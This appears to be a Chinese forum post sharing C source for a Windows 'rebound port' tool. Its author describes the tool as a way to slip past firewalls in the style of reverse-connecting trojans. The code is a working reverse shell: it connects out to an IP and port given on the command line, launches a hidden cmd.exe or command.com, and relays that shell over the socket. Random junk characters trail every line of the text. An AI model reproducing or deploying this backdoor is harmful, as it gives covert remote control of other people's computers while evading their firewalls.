这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 %-/:ps
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/* ============================== #U52\3G
Rebound port in Windows NT X-$td~r
By wind,2006/7 )6E*Qz
===============================*/ A9UaLSe
#include !>y}Xq{bm3
#include +)JqEwCrq
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#pragma comment(lib,"wsock32.lib") /JeqoM"x
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void OutputShell(); &PuJV + y
SOCKET sClient; 3cO[t\/up
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; +g6j=%
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void main(int argc,char **argv) aRKRy
{ o:DBOpS
WSADATA stWsaData; }8M`2HMFR
int nRet; kQd[E-b7
SOCKADDR_IN stSaiClient,stSaiServer; S1juAV=
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if(argc != 3) 0^.4eX:E_
{ +N$7=oGC
printf("Useage:\n\rRebound DestIP DestPort\n"); UT<bv}(J
return; }r~l72
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} 'Y{ux>
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WSAStartup(MAKEWORD(2,2),&stWsaData); %4|}&,%%r
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,XG|oo-
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stSaiClient.sin_family = AF_INET; qb>r\bc
stSaiClient.sin_port = htons(0); T0v@mXBQ
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ilp;@O6
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) tW.>D;8
{ d)1sP0Z_@
printf("Bind Socket Failed!\n"); 06 Esc^D
return; y?z _^ppj
} gVA}?t;
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stSaiServer.sin_family = AF_INET; 8^/Ek<Qb|
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); O;BMwg_7
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); B
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) *!]Epb
{ 199hQxib:
printf("Connect Error!"); _2X6bIE
return; 8wpwJs&V
} @~#79B"9&
OutputShell(); AzO3 (1:
} EXW
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void OutputShell() k3/JQ]'D
{ [^d6cMEOlc
char szBuff[1024]; f+TBs_
SECURITY_ATTRIBUTES stSecurityAttributes; z?uQlm*We
OSVERSIONINFO stOsversionInfo; aRO_,n9
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; @z$pPo0fW
STARTUPINFO stStartupInfo; D0y,TF
char *szShell; `-K)K<
PROCESS_INFORMATION stProcessInformation; /zG-\e U
unsigned long lBytesRead; v(@+6#&
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); OZB}aow
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ?fa,[r|G
stSecurityAttributes.lpSecurityDescriptor = 0; l`FR.)2h
stSecurityAttributes.bInheritHandle = TRUE; a EFe!_QY
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ?9zoQ[
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ^,Y~M_=
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ghobu}wuF
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; oY2?W
stStartupInfo.wShowWindow = SW_HIDE; kL PO+lg+
stStartupInfo.hStdInput = hReadPipe; 8~s-t
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; =O3I[
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GetVersionEx(&stOsversionInfo); M ,_^hm7
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switch(stOsversionInfo.dwPlatformId) JM+sHHs
{ xH`j7qK.
case 1: $~G0#JL
szShell = "command.com"; h*\TCl)
break; ^=izqh5S
default: 3<)@ll
szShell = "cmd.exe"; $E`iqRB
break; Y6f+__O
} 7<QYT+6xV
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); qD$GKN.
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send(sClient,szMsg,77,0); n$m]58w
while(1) {*<O"|v
{ @wB'3q}(
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); d)hzi
if(lBytesRead) _!C)r*0(
{ ^Z-.[Y
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); $ gr6
send(sClient,szBuff,lBytesRead,0); B'KXQa-$O
} 9o_ g_q
else qrM{b=
{ Ft"&NtXeZZ
lBytesRead=recv(sClient,szBuff,1024,0); MgH1d&R
if(lBytesRead<=0) break; K.V!@bPlw9
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); VeD+U~ d
} RP`GG+K
} i^yH?bH @~
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return; m|nL!Wc
}